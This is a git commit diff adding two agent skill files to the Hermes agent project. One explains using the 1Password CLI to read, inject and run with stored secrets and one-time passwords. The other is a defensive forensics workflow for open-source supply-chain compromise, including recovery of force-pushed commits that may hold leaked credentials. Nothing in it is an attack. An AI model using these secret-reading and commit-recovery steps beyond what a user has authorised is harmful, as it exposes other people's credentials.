Initial import of NousResearch/hermes-agent
Deploy Site / deploy-vercel (push) Has been cancelled
Deploy Site / deploy-docs (push) Has been cancelled
Docker / shell lint / Lint Dockerfile (hadolint) (push) Has been cancelled
Docker / shell lint / Lint docker/ shell scripts (shellcheck) (push) Has been cancelled
Docker Build and Publish / build-amd64 (push) Has been cancelled
Docker Build and Publish / build-arm64 (push) Has been cancelled
Lint (ruff + ty) / ruff + ty diff (push) Has been cancelled
Lint (ruff + ty) / ruff enforcement (blocking) (push) Has been cancelled
Lint (ruff + ty) / Windows footguns (blocking) (push) Has been cancelled
Nix Lockfile Fix / auto-fix-main (push) Has been cancelled
Nix Lockfile Fix / fix (push) Has been cancelled
Nix / nix (macos-latest) (push) Has been cancelled
Nix / nix (ubuntu-latest) (push) Has been cancelled
OSV-Scanner / Scan lockfiles (push) Has been cancelled
Build Skills Index / build-index (push) Has been cancelled
Tests / test (1) (push) Has been cancelled
Tests / test (2) (push) Has been cancelled
Tests / test (3) (push) Has been cancelled
Tests / test (4) (push) Has been cancelled
Tests / test (5) (push) Has been cancelled
Tests / test (6) (push) Has been cancelled
Tests / e2e (push) Has been cancelled
uv.lock check / uv lock --check (push) Has been cancelled
Docker Build and Publish / merge (push) Has been cancelled
Build Skills Index / trigger-deploy (push) Has been cancelled
Tests / save-durations (push) Has been cancelled
Deploy Site / deploy-vercel (push) Has been cancelled
Deploy Site / deploy-docs (push) Has been cancelled
Docker / shell lint / Lint Dockerfile (hadolint) (push) Has been cancelled
Docker / shell lint / Lint docker/ shell scripts (shellcheck) (push) Has been cancelled
Docker Build and Publish / build-amd64 (push) Has been cancelled
Docker Build and Publish / build-arm64 (push) Has been cancelled
Lint (ruff + ty) / ruff + ty diff (push) Has been cancelled
Lint (ruff + ty) / ruff enforcement (blocking) (push) Has been cancelled
Lint (ruff + ty) / Windows footguns (blocking) (push) Has been cancelled
Nix Lockfile Fix / auto-fix-main (push) Has been cancelled
Nix Lockfile Fix / fix (push) Has been cancelled
Nix / nix (macos-latest) (push) Has been cancelled
Nix / nix (ubuntu-latest) (push) Has been cancelled
OSV-Scanner / Scan lockfiles (push) Has been cancelled
Build Skills Index / build-index (push) Has been cancelled
Tests / test (1) (push) Has been cancelled
Tests / test (2) (push) Has been cancelled
Tests / test (3) (push) Has been cancelled
Tests / test (4) (push) Has been cancelled
Tests / test (5) (push) Has been cancelled
Tests / test (6) (push) Has been cancelled
Tests / e2e (push) Has been cancelled
uv.lock check / uv lock --check (push) Has been cancelled
Docker Build and Publish / merge (push) Has been cancelled
Build Skills Index / trigger-deploy (push) Has been cancelled
Tests / save-durations (push) Has been cancelled
This commit is contained in:
@@ -0,0 +1,163 @@
|
||||
---
|
||||
name: 1password
|
||||
description: Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in, and reading/injecting secrets for commands.
|
||||
version: 1.0.0
|
||||
author: arceus77-7, enhanced by Hermes Agent
|
||||
license: MIT
|
||||
platforms: [linux, macos, windows]
|
||||
metadata:
|
||||
hermes:
|
||||
tags: [security, secrets, 1password, op, cli]
|
||||
category: security
|
||||
setup:
|
||||
help: "Create a service account at https://my.1password.com → Settings → Service Accounts"
|
||||
collect_secrets:
|
||||
- env_var: OP_SERVICE_ACCOUNT_TOKEN
|
||||
prompt: "1Password Service Account Token"
|
||||
provider_url: "https://developer.1password.com/docs/service-accounts/"
|
||||
secret: true
|
||||
---
|
||||
|
||||
# 1Password CLI
|
||||
|
||||
Use this skill when the user wants secrets managed through 1Password instead of plaintext env vars or files.
|
||||
|
||||
## Requirements
|
||||
|
||||
- 1Password account
|
||||
- 1Password CLI (`op`) installed
|
||||
- One of: desktop app integration, service account token (`OP_SERVICE_ACCOUNT_TOKEN`), or Connect server
|
||||
- `tmux` available for stable authenticated sessions during Hermes terminal calls (desktop app flow only)
|
||||
|
||||
## When to Use
|
||||
|
||||
- Install or configure 1Password CLI
|
||||
- Sign in with `op signin`
|
||||
- Read secret references like `op://Vault/Item/field`
|
||||
- Inject secrets into config/templates using `op inject`
|
||||
- Run commands with secret env vars via `op run`
|
||||
|
||||
## Authentication Methods
|
||||
|
||||
### Service Account (recommended for Hermes)
|
||||
|
||||
Set `OP_SERVICE_ACCOUNT_TOKEN` in `~/.hermes/.env` (the skill will prompt for this on first load).
|
||||
No desktop app needed. Supports `op read`, `op inject`, `op run`.
|
||||
|
||||
```bash
|
||||
export OP_SERVICE_ACCOUNT_TOKEN="your-token-here"
|
||||
op whoami # verify — should show Type: SERVICE_ACCOUNT
|
||||
```
|
||||
|
||||
### Desktop App Integration (interactive)
|
||||
|
||||
1. Enable in 1Password desktop app: Settings → Developer → Integrate with 1Password CLI
|
||||
2. Ensure app is unlocked
|
||||
3. Run `op signin` and approve the biometric prompt
|
||||
|
||||
### Connect Server (self-hosted)
|
||||
|
||||
```bash
|
||||
export OP_CONNECT_HOST="http://localhost:8080"
|
||||
export OP_CONNECT_TOKEN="your-connect-token"
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
1. Install CLI:
|
||||
|
||||
```bash
|
||||
# macOS
|
||||
brew install 1password-cli
|
||||
|
||||
# Linux (official package/install docs)
|
||||
# See references/get-started.md for distro-specific links.
|
||||
|
||||
# Windows (winget)
|
||||
winget install AgileBits.1Password.CLI
|
||||
```
|
||||
|
||||
2. Verify:
|
||||
|
||||
```bash
|
||||
op --version
|
||||
```
|
||||
|
||||
3. Choose an auth method above and configure it.
|
||||
|
||||
## Hermes Execution Pattern (desktop app flow)
|
||||
|
||||
Hermes terminal commands are non-interactive by default and can lose auth context between calls.
|
||||
For reliable `op` use with desktop app integration, run sign-in and secret operations inside a dedicated tmux session.
|
||||
|
||||
Note: This is NOT needed when using `OP_SERVICE_ACCOUNT_TOKEN` — the token persists across terminal calls automatically.
|
||||
|
||||
```bash
|
||||
SOCKET_DIR="${TMPDIR:-/tmp}/hermes-tmux-sockets"
|
||||
mkdir -p "$SOCKET_DIR"
|
||||
SOCKET="$SOCKET_DIR/hermes-op.sock"
|
||||
SESSION="op-auth-$(date +%Y%m%d-%H%M%S)"
|
||||
|
||||
tmux -S "$SOCKET" new -d -s "$SESSION" -n shell
|
||||
|
||||
# Sign in (approve in desktop app when prompted)
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "eval \"\$(op signin --account my.1password.com)\"" Enter
|
||||
|
||||
# Verify auth
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "op whoami" Enter
|
||||
|
||||
# Example read
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "op read 'op://Private/Npmjs/one-time password?attribute=otp'" Enter
|
||||
|
||||
# Capture output when needed
|
||||
tmux -S "$SOCKET" capture-pane -p -J -t "$SESSION":0.0 -S -200
|
||||
|
||||
# Cleanup
|
||||
tmux -S "$SOCKET" kill-session -t "$SESSION"
|
||||
```
|
||||
|
||||
## Common Operations
|
||||
|
||||
### Read a secret
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/db/password"
|
||||
```
|
||||
|
||||
### Get OTP
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/npm/one-time password?attribute=otp"
|
||||
```
|
||||
|
||||
### Inject into template
|
||||
|
||||
```bash
|
||||
echo "db_password: {{ op://app-prod/db/password }}" | op inject
|
||||
```
|
||||
|
||||
### Run a command with secret env var
|
||||
|
||||
```bash
|
||||
export DB_PASSWORD="op://app-prod/db/password"
|
||||
op run -- sh -c '[ -n "$DB_PASSWORD" ] && echo "DB_PASSWORD is set" || echo "DB_PASSWORD missing"'
|
||||
```
|
||||
|
||||
## Guardrails
|
||||
|
||||
- Never print raw secrets back to user unless they explicitly request the value.
|
||||
- Prefer `op run` / `op inject` instead of writing secrets into files.
|
||||
- If command fails with "account is not signed in", run `op signin` again in the same tmux session.
|
||||
- If desktop app integration is unavailable (headless/CI), use service account token flow.
|
||||
|
||||
## CI / Headless note
|
||||
|
||||
For non-interactive use, authenticate with `OP_SERVICE_ACCOUNT_TOKEN` and avoid interactive `op signin`.
|
||||
Service accounts require CLI v2.18.0+.
|
||||
|
||||
## References
|
||||
|
||||
- `references/get-started.md`
|
||||
- `references/cli-examples.md`
|
||||
- https://developer.1password.com/docs/cli/
|
||||
- https://developer.1password.com/docs/service-accounts/
|
||||
@@ -0,0 +1,31 @@
|
||||
# op CLI examples
|
||||
|
||||
## Sign-in and identity
|
||||
|
||||
```bash
|
||||
op signin
|
||||
op signin --account my.1password.com
|
||||
op whoami
|
||||
op account list
|
||||
```
|
||||
|
||||
## Read secrets
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/db/password"
|
||||
op read "op://app-prod/npm/one-time password?attribute=otp"
|
||||
```
|
||||
|
||||
## Inject secrets
|
||||
|
||||
```bash
|
||||
echo "api_key: {{ op://app-prod/openai/api key }}" | op inject
|
||||
op inject -i config.tpl.yml -o config.yml
|
||||
```
|
||||
|
||||
## Run command with secrets
|
||||
|
||||
```bash
|
||||
export DB_PASSWORD="op://app-prod/db/password"
|
||||
op run -- sh -c '[ -n "$DB_PASSWORD" ] && echo "DB_PASSWORD is set"'
|
||||
```
|
||||
@@ -0,0 +1,21 @@
|
||||
# 1Password CLI get-started (summary)
|
||||
|
||||
Official docs: https://developer.1password.com/docs/cli/get-started/
|
||||
|
||||
## Core flow
|
||||
|
||||
1. Install `op` CLI.
|
||||
2. Enable desktop app integration in 1Password app.
|
||||
3. Unlock app.
|
||||
4. Run `op signin` and approve prompt.
|
||||
5. Verify with `op whoami`.
|
||||
|
||||
## Multiple accounts
|
||||
|
||||
- Use `op signin --account <subdomain.1password.com>`
|
||||
- Or set `OP_ACCOUNT`
|
||||
|
||||
## Non-interactive / automation
|
||||
|
||||
- Use service accounts and `OP_SERVICE_ACCOUNT_TOKEN`
|
||||
- Prefer `op run` and `op inject` for runtime secret handling
|
||||
@@ -0,0 +1,3 @@
|
||||
# Security
|
||||
|
||||
Skills for secrets management, credential handling, and security tooling integrations.
|
||||
@@ -0,0 +1,423 @@
|
||||
---
|
||||
name: oss-forensics
|
||||
description: |
|
||||
Supply chain investigation, evidence recovery, and forensic analysis for GitHub repositories.
|
||||
Covers deleted commit recovery, force-push detection, IOC extraction, multi-source evidence
|
||||
collection, hypothesis formation/validation, and structured forensic reporting.
|
||||
Inspired by RAPTOR's 1800+ line OSS Forensics system.
|
||||
platforms: [linux, macos, windows]
|
||||
category: security
|
||||
triggers:
|
||||
- "investigate this repository"
|
||||
- "investigate [owner/repo]"
|
||||
- "check for supply chain compromise"
|
||||
- "recover deleted commits"
|
||||
- "forensic analysis of [owner/repo]"
|
||||
- "was this repo compromised"
|
||||
- "supply chain attack"
|
||||
- "suspicious commit"
|
||||
- "force push detected"
|
||||
- "IOC extraction"
|
||||
toolsets:
|
||||
- terminal
|
||||
- web
|
||||
- file
|
||||
- delegation
|
||||
---
|
||||
|
||||
# OSS Security Forensics Skill
|
||||
|
||||
A 7-phase multi-agent investigation framework for researching open-source supply chain attacks.
|
||||
Adapted from RAPTOR's forensics system. Covers GitHub Archive, Wayback Machine, GitHub API,
|
||||
local git analysis, IOC extraction, evidence-backed hypothesis formation and validation,
|
||||
and final forensic report generation.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Anti-Hallucination Guardrails
|
||||
|
||||
Read these before every investigation step. Violating them invalidates the report.
|
||||
|
||||
1. **Evidence-First Rule**: Every claim in any report, hypothesis, or summary MUST cite at least one evidence ID (`EV-XXXX`). Assertions without citations are forbidden.
|
||||
2. **STAY IN YOUR LANE**: Each sub-agent (investigator) has a single data source. Do NOT mix sources. The GH Archive investigator does not query the GitHub API, and vice versa. Role boundaries are hard.
|
||||
3. **Fact vs. Hypothesis Separation**: Mark all unverified inferences with `[HYPOTHESIS]`. Only statements verified against original sources may be stated as facts.
|
||||
4. **No Evidence Fabrication**: The hypothesis validator MUST mechanically check that every cited evidence ID actually exists in the evidence store before accepting a hypothesis.
|
||||
5. **Proof-Required Disproval**: A hypothesis cannot be dismissed without a specific, evidence-backed counter-argument. "No evidence found" is not sufficient to disprove—it only makes a hypothesis inconclusive.
|
||||
6. **SHA/URL Double-Verification**: Any commit SHA, URL, or external identifier cited as evidence must be independently confirmed from at least two sources before being marked as verified.
|
||||
7. **Suspicious Code Rule**: Never run code found inside the investigated repository locally. Analyze statically only, or use `execute_code` in a sandboxed environment.
|
||||
8. **Secret Redaction**: Any API keys, tokens, or credentials discovered during investigation must be redacted in the final report. Log them internally only.
|
||||
|
||||
---
|
||||
|
||||
## Example Scenarios
|
||||
|
||||
- **Scenario A: Dependency Confusion**: A malicious package `internal-lib-v2` is uploaded to NPM with a higher version than the internal one. The investigator must track when this package was first seen and if any PushEvents in the target repo updated `package.json` to this version.
|
||||
- **Scenario B: Maintainer Takeover**: A long-term contributor's account is used to push a backdoored `.github/workflows/build.yml`. The investigator looks for PushEvents from this user after a long period of inactivity or from a new IP/location (if detectable via BigQuery).
|
||||
- **Scenario C: Force-Push Hide**: A developer accidentally commits a production secret, then force-pushes to "fix" it. The investigator uses `git fsck` and GH Archive to recover the original commit SHA and verify what was leaked.
|
||||
|
||||
---
|
||||
|
||||
> **Path convention**: Throughout this skill, `SKILL_DIR` refers to the root of this skill's
|
||||
> installation directory (the folder containing this `SKILL.md`). When the skill is loaded,
|
||||
> resolve `SKILL_DIR` to the actual path — e.g. `~/.hermes/skills/security/oss-forensics/`
|
||||
> or the `optional-skills/` equivalent. All script and template references are relative to it.
|
||||
|
||||
## Phase 0: Initialization
|
||||
|
||||
1. Create investigation working directory:
|
||||
```bash
|
||||
mkdir investigation_$(echo "REPO_NAME" | tr '/' '_')
|
||||
cd investigation_$(echo "REPO_NAME" | tr '/' '_')
|
||||
```
|
||||
2. Initialize the evidence store:
|
||||
```bash
|
||||
python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json list
|
||||
```
|
||||
3. Copy the forensic report template:
|
||||
```bash
|
||||
cp SKILL_DIR/templates/forensic-report.md ./investigation-report.md
|
||||
```
|
||||
4. Create an `iocs.md` file to track Indicators of Compromise as they are discovered.
|
||||
5. Record the investigation start time, target repository, and stated investigation goal.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: Prompt Parsing and IOC Extraction
|
||||
|
||||
**Goal**: Extract all structured investigative targets from the user's request.
|
||||
|
||||
**Actions**:
|
||||
- Parse the user prompt and extract:
|
||||
- Target repository (`owner/repo`)
|
||||
- Target actors (GitHub handles, email addresses)
|
||||
- Time window of interest (commit date ranges, PR timestamps)
|
||||
- Provided Indicators of Compromise: commit SHAs, file paths, package names, IP addresses, domains, API keys/tokens, malicious URLs
|
||||
- Any linked vendor security reports or blog posts
|
||||
|
||||
**Tools**: Reasoning only, or `execute_code` for regex extraction from large text blocks.
|
||||
|
||||
**Output**: Populate `iocs.md` with extracted IOCs. Each IOC must have:
|
||||
- Type (from: COMMIT_SHA, FILE_PATH, API_KEY, SECRET, IP_ADDRESS, DOMAIN, PACKAGE_NAME, ACTOR_USERNAME, MALICIOUS_URL, OTHER)
|
||||
- Value
|
||||
- Source (user-provided, inferred)
|
||||
|
||||
**Reference**: See [evidence-types.md](./references/evidence-types.md) for IOC taxonomy.
|
||||
|
||||
---
|
||||
|
||||
## Phase 2: Parallel Evidence Collection
|
||||
|
||||
Spawn up to 5 specialist investigator sub-agents using `delegate_task` (batch mode, max 3 concurrent). Each investigator has a **single data source** and must not mix sources.
|
||||
|
||||
> **Orchestrator note**: Pass the IOC list from Phase 1 and the investigation time window in the `context` field of each delegated task.
|
||||
|
||||
---
|
||||
|
||||
### Investigator 1: Local Git Investigator
|
||||
|
||||
**ROLE BOUNDARY**: You query the LOCAL GIT REPOSITORY ONLY. Do not call any external APIs.
|
||||
|
||||
**Actions**:
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/OWNER/REPO.git target_repo && cd target_repo
|
||||
|
||||
# Full commit log with stats
|
||||
git log --all --full-history --stat --format="%H|%ae|%an|%ai|%s" > ../git_log.txt
|
||||
|
||||
# Detect force-push evidence (orphaned/dangling commits)
|
||||
git fsck --lost-found --unreachable 2>&1 | grep commit > ../dangling_commits.txt
|
||||
|
||||
# Check reflog for rewritten history
|
||||
git reflog --all > ../reflog.txt
|
||||
|
||||
# List ALL branches including deleted remote refs
|
||||
git branch -a -v > ../branches.txt
|
||||
|
||||
# Find suspicious large binary additions
|
||||
git log --all --diff-filter=A --name-only --format="%H %ai" -- "*.so" "*.dll" "*.exe" "*.bin" > ../binary_additions.txt
|
||||
|
||||
# Check for GPG signature anomalies
|
||||
git log --show-signature --format="%H %ai %aN" > ../signature_check.txt 2>&1
|
||||
```
|
||||
|
||||
**Evidence to collect** (add via `python3 SKILL_DIR/scripts/evidence-store.py add`):
|
||||
- Each dangling commit SHA → type: `git`
|
||||
- Force-push evidence (reflog showing history rewrite) → type: `git`
|
||||
- Unsigned commits from verified contributors → type: `git`
|
||||
- Suspicious binary file additions → type: `git`
|
||||
|
||||
**Reference**: See [recovery-techniques.md](./references/recovery-techniques.md) for accessing force-pushed commits.
|
||||
|
||||
---
|
||||
|
||||
### Investigator 2: GitHub API Investigator
|
||||
|
||||
**ROLE BOUNDARY**: You query the GITHUB REST API ONLY. Do not run git commands locally.
|
||||
|
||||
**Actions**:
|
||||
```bash
|
||||
# Commits (paginated)
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/commits?per_page=100" > api_commits.json
|
||||
|
||||
# Pull Requests including closed/deleted
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/pulls?state=all&per_page=100" > api_prs.json
|
||||
|
||||
# Issues
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/issues?state=all&per_page=100" > api_issues.json
|
||||
|
||||
# Contributors and collaborator changes
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/contributors" > api_contributors.json
|
||||
|
||||
# Repository events (last 300)
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/events?per_page=100" > api_events.json
|
||||
|
||||
# Check specific suspicious commit SHA details
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/git/commits/SHA" > commit_detail.json
|
||||
|
||||
# Releases
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/releases?per_page=100" > api_releases.json
|
||||
|
||||
# Check if a specific commit exists (force-pushed commits may 404 on commits/ but succeed on git/commits/)
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/commits/SHA" | jq .sha
|
||||
```
|
||||
|
||||
**Cross-reference targets** (flag discrepancies as evidence):
|
||||
- PR exists in archive but missing from API → evidence of deletion
|
||||
- Contributor in archive events but not in contributors list → evidence of permission revocation
|
||||
- Commit in archive PushEvents but not in API commit list → evidence of force-push/deletion
|
||||
|
||||
**Reference**: See [evidence-types.md](./references/evidence-types.md) for GH event types.
|
||||
|
||||
---
|
||||
|
||||
### Investigator 3: Wayback Machine Investigator
|
||||
|
||||
**ROLE BOUNDARY**: You query the WAYBACK MACHINE CDX API ONLY. Do not use the GitHub API.
|
||||
|
||||
**Goal**: Recover deleted GitHub pages (READMEs, issues, PRs, releases, wiki pages).
|
||||
|
||||
**Actions**:
|
||||
```bash
|
||||
# Search for archived snapshots of the repo main page
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO&output=json&limit=100&from=YYYYMMDD&to=YYYYMMDD" > wayback_main.json
|
||||
|
||||
# Search for a specific deleted issue
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO/issues/NUM&output=json&limit=50" > wayback_issue_NUM.json
|
||||
|
||||
# Search for a specific deleted PR
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO/pull/NUM&output=json&limit=50" > wayback_pr_NUM.json
|
||||
|
||||
# Fetch the best snapshot of a page
|
||||
# Use the Wayback Machine URL: https://web.archive.org/web/TIMESTAMP/ORIGINAL_URL
|
||||
# Example: https://web.archive.org/web/20240101000000*/github.com/OWNER/REPO
|
||||
|
||||
# Advanced: Search for deleted releases/tags
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO/releases/tag/*&output=json" > wayback_tags.json
|
||||
|
||||
# Advanced: Search for historical wiki changes
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO/wiki/*&output=json" > wayback_wiki.json
|
||||
```
|
||||
|
||||
**Evidence to collect**:
|
||||
- Archived snapshots of deleted issues/PRs with their content
|
||||
- Historical README versions showing changes
|
||||
- Evidence of content present in archive but missing from current GitHub state
|
||||
|
||||
**Reference**: See [github-archive-guide.md](./references/github-archive-guide.md) for CDX API parameters.
|
||||
|
||||
---
|
||||
|
||||
### Investigator 4: GH Archive / BigQuery Investigator
|
||||
|
||||
**ROLE BOUNDARY**: You query GITHUB ARCHIVE via BIGQUERY ONLY. This is a tamper-proof record of all public GitHub events.
|
||||
|
||||
> **Prerequisites**: Requires Google Cloud credentials with BigQuery access (`gcloud auth application-default login`). If unavailable, skip this investigator and note it in the report.
|
||||
|
||||
**Cost Optimization Rules** (MANDATORY):
|
||||
1. ALWAYS run a `--dry_run` before every query to estimate cost.
|
||||
2. Use `_TABLE_SUFFIX` to filter by date range and minimize scanned data.
|
||||
3. Only SELECT the columns you need.
|
||||
4. Add a LIMIT unless aggregating.
|
||||
|
||||
```bash
|
||||
# Template: safe BigQuery query for PushEvents to OWNER/REPO
|
||||
bq query --use_legacy_sql=false --dry_run "
|
||||
SELECT created_at, actor.login, payload.commits, payload.before, payload.head,
|
||||
payload.size, payload.distinct_size
|
||||
FROM \`githubarchive.month.*\`
|
||||
WHERE _TABLE_SUFFIX BETWEEN 'YYYYMM' AND 'YYYYMM'
|
||||
AND type = 'PushEvent'
|
||||
AND repo.name = 'OWNER/REPO'
|
||||
LIMIT 1000
|
||||
"
|
||||
# If cost is acceptable, re-run without --dry_run
|
||||
|
||||
# Detect force-pushes: zero-distinct_size PushEvents mean commits were force-erased
|
||||
# payload.distinct_size = 0 AND payload.size > 0 → force push indicator
|
||||
|
||||
# Check for deleted branch events
|
||||
bq query --use_legacy_sql=false "
|
||||
SELECT created_at, actor.login, payload.ref, payload.ref_type
|
||||
FROM \`githubarchive.month.*\`
|
||||
WHERE _TABLE_SUFFIX BETWEEN 'YYYYMM' AND 'YYYYMM'
|
||||
AND type = 'DeleteEvent'
|
||||
AND repo.name = 'OWNER/REPO'
|
||||
LIMIT 200
|
||||
"
|
||||
```
|
||||
|
||||
**Evidence to collect**:
|
||||
- Force-push events (payload.size > 0, payload.distinct_size = 0)
|
||||
- DeleteEvents for branches/tags
|
||||
- WorkflowRunEvents for suspicious CI/CD automation
|
||||
- PushEvents that precede a "gap" in the git log (evidence of rewrite)
|
||||
|
||||
**Reference**: See [github-archive-guide.md](./references/github-archive-guide.md) for all 12 event types and query patterns.
|
||||
|
||||
---
|
||||
|
||||
### Investigator 5: IOC Enrichment Investigator
|
||||
|
||||
**ROLE BOUNDARY**: You enrich EXISTING IOCs from Phase 1 using passive public sources ONLY. Do not execute any code from the target repository.
|
||||
|
||||
**Actions**:
|
||||
- For each commit SHA: attempt recovery via direct GitHub URL (`github.com/OWNER/REPO/commit/SHA.patch`)
|
||||
- For each domain/IP: check passive DNS, WHOIS records (via `web_extract` on public WHOIS services)
|
||||
- For each package name: check npm/PyPI for matching malicious package reports
|
||||
- For each actor username: check GitHub profile, contribution history, account age
|
||||
- Recover force-pushed commits using 3 methods (see [recovery-techniques.md](./references/recovery-techniques.md))
|
||||
|
||||
---
|
||||
|
||||
## Phase 3: Evidence Consolidation
|
||||
|
||||
After all investigators complete:
|
||||
|
||||
1. Run `python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json list` to see all collected evidence.
|
||||
2. For each piece of evidence, verify the `content_sha256` hash matches the original source.
|
||||
3. Group evidence by:
|
||||
- **Timeline**: Sort all timestamped evidence chronologically
|
||||
- **Actor**: Group by GitHub handle or email
|
||||
- **IOC**: Link evidence to the IOC it relates to
|
||||
4. Identify **discrepancies**: items present in one source but absent in another (key deletion indicators).
|
||||
5. Flag evidence as `[VERIFIED]` (confirmed from 2+ independent sources) or `[UNVERIFIED]` (single source only).
|
||||
|
||||
---
|
||||
|
||||
## Phase 4: Hypothesis Formation
|
||||
|
||||
A hypothesis must:
|
||||
- State a specific claim (e.g., "Actor X force-pushed to BRANCH on DATE to erase commit SHA")
|
||||
- Cite at least 2 evidence IDs that support it (`EV-XXXX`, `EV-YYYY`)
|
||||
- Identify what evidence would disprove it
|
||||
- Be labeled `[HYPOTHESIS]` until validated
|
||||
|
||||
**Common hypothesis templates** (see [investigation-templates.md](./references/investigation-templates.md)):
|
||||
- Maintainer Compromise: legitimate account used post-takeover to inject malicious code
|
||||
- Dependency Confusion: package name squatting to intercept installs
|
||||
- CI/CD Injection: malicious workflow changes to run code during builds
|
||||
- Typosquatting: near-identical package name targeting misspellers
|
||||
- Credential Leak: token/key accidentally committed then force-pushed to erase
|
||||
|
||||
For each hypothesis, spawn a `delegate_task` sub-agent to attempt to find disconfirming evidence before confirming.
|
||||
|
||||
---
|
||||
|
||||
## Phase 5: Hypothesis Validation
|
||||
|
||||
The validator sub-agent MUST mechanically check:
|
||||
|
||||
1. For each hypothesis, extract all cited evidence IDs.
|
||||
2. Verify each ID exists in `evidence.json` (hard failure if any ID is missing → hypothesis rejected as potentially fabricated).
|
||||
3. Verify each `[VERIFIED]` piece of evidence was confirmed from 2+ sources.
|
||||
4. Check logical consistency: does the timeline depicted by the evidence support the hypothesis?
|
||||
5. Check for alternative explanations: could the same evidence pattern arise from a benign cause?
|
||||
|
||||
**Output**:
|
||||
- `VALIDATED`: All evidence cited, verified, logically consistent, no plausible alternative explanation.
|
||||
- `INCONCLUSIVE`: Evidence supports hypothesis but alternative explanations exist or evidence is insufficient.
|
||||
- `REJECTED`: Missing evidence IDs, unverified evidence cited as fact, logical inconsistency detected.
|
||||
|
||||
Rejected hypotheses feed back into Phase 4 for refinement (max 3 iterations).
|
||||
|
||||
---
|
||||
|
||||
## Phase 6: Final Report Generation
|
||||
|
||||
Populate `investigation-report.md` using the template in [forensic-report.md](./templates/forensic-report.md).
|
||||
|
||||
**Mandatory sections**:
|
||||
- Executive Summary: one-paragraph verdict (Compromised / Clean / Inconclusive) with confidence level
|
||||
- Timeline: chronological reconstruction of all significant events with evidence citations
|
||||
- Validated Hypotheses: each with status and supporting evidence IDs
|
||||
- Evidence Registry: table of all `EV-XXXX` entries with source, type, and verification status
|
||||
- IOC List: all extracted and enriched Indicators of Compromise
|
||||
- Chain of Custody: how evidence was collected, from what sources, at what timestamps
|
||||
- Recommendations: immediate mitigations if compromise detected; monitoring recommendations
|
||||
|
||||
**Report rules**:
|
||||
- Every factual claim must have at least one `[EV-XXXX]` citation
|
||||
- Executive Summary must state confidence level (High / Medium / Low)
|
||||
- All secrets/credentials must be redacted to `[REDACTED]`
|
||||
|
||||
---
|
||||
|
||||
## Phase 7: Completion
|
||||
|
||||
1. Run final evidence count: `python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json list`
|
||||
2. Archive the full investigation directory.
|
||||
3. If compromise is confirmed:
|
||||
- List immediate mitigations (rotate credentials, pin dependency hashes, notify affected users)
|
||||
- Identify affected versions/packages
|
||||
- Note disclosure obligations (if a public package: coordinate with the package registry)
|
||||
4. Present the final `investigation-report.md` to the user.
|
||||
|
||||
---
|
||||
|
||||
## Ethical Use Guidelines
|
||||
|
||||
This skill is designed for **defensive security investigation** — protecting open-source software from supply chain attacks. It must not be used for:
|
||||
|
||||
- **Harassment or stalking** of contributors or maintainers
|
||||
- **Doxing** — correlating GitHub activity to real identities for malicious purposes
|
||||
- **Competitive intelligence** — investigating proprietary or internal repositories without authorization
|
||||
- **False accusations** — publishing investigation results without validated evidence (see anti-hallucination guardrails)
|
||||
|
||||
Investigations should be conducted with the principle of **minimal intrusion**: collect only the evidence necessary to validate or refute the hypothesis. When publishing results, follow responsible disclosure practices and coordinate with affected maintainers before public disclosure.
|
||||
|
||||
If the investigation reveals a genuine compromise, follow the coordinated vulnerability disclosure process:
|
||||
1. Notify the repository maintainers privately first
|
||||
2. Allow reasonable time for remediation (typically 90 days)
|
||||
3. Coordinate with package registries (npm, PyPI, etc.) if published packages are affected
|
||||
4. File a CVE if appropriate
|
||||
|
||||
---
|
||||
|
||||
## API Rate Limiting
|
||||
|
||||
GitHub REST API enforces rate limits that will interrupt large investigations if not managed.
|
||||
|
||||
**Authenticated requests**: 5,000/hour (requires `GITHUB_TOKEN` env var or `gh` CLI auth)
|
||||
**Unauthenticated requests**: 60/hour (unusable for investigations)
|
||||
|
||||
**Best practices**:
|
||||
- Always authenticate: `export GITHUB_TOKEN=ghp_...` or use `gh` CLI (auto-authenticates)
|
||||
- Use conditional requests (`If-None-Match` / `If-Modified-Since` headers) to avoid consuming quota on unchanged data
|
||||
- For paginated endpoints, fetch all pages in sequence — don't parallelize against the same endpoint
|
||||
- Check `X-RateLimit-Remaining` header; if below 100, pause for `X-RateLimit-Reset` timestamp
|
||||
- BigQuery has its own quotas (10 TiB/day free tier) — always dry-run first
|
||||
- Wayback Machine CDX API: no formal rate limit, but be courteous (1-2 req/sec max)
|
||||
|
||||
If rate-limited mid-investigation, record the partial results in the evidence store and note the limitation in the report.
|
||||
|
||||
---
|
||||
|
||||
## Reference Materials
|
||||
|
||||
- [github-archive-guide.md](./references/github-archive-guide.md) — BigQuery queries, CDX API, 12 event types
|
||||
- [evidence-types.md](./references/evidence-types.md) — IOC taxonomy, evidence source types, observation types
|
||||
- [recovery-techniques.md](./references/recovery-techniques.md) — Recovering deleted commits, PRs, issues
|
||||
- [investigation-templates.md](./references/investigation-templates.md) — Pre-built hypothesis templates per attack type
|
||||
